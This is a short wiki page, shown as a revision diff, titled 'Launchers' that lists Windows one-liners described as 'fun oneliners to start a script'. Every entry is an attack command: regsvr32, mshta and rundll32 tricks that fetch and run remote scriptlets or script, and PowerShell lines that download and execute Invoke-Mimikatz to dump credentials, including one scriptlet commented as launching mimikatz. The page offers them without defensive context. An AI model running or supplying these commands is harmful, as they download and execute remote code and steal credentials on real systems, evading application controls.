Launchers: Difference between revisions
Jump to navigation
Jump to search
Line 14: | Line 14: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
#starts calc | |||
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test.sct scrobj.dll | regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test.sct scrobj.dll | ||
#starts powershell that runs mimikatz | |||
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test2.sct scrobj.dll | regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test2.sct scrobj.dll | ||
</syntaxhighlight> | </syntaxhighlight> |
Revision as of 10:09, 6 March 2017
Some fun oneliners to start a script
mshta.exe vbscript:GetObject("script:https://server/sct")(window.close)
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject('WScript.Shell');w.Exec('calc')");
https://twitter.com/ch33kyf3ll0w/status/816319597645328384 https://gist.github.com/subTee/62fc28bb5dc58dbe9efdd56d65921bd2
invoke-expression (Invoke-WebRequest -Uri https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1).content;invoke-mimikatz
invoke-expression (Invoke-WebRequest -Uri https://mendelonline.be/security/poc/test.code.txt).content;invoke-bananas
#starts calc
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test.sct scrobj.dll
#starts powershell that runs mimikatz
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test2.sct scrobj.dll
https://github.com/subTee/DerbyCon2016/blob/master/scrat.ps1
more
- subtee's gist's: https://gist.github.com/subTee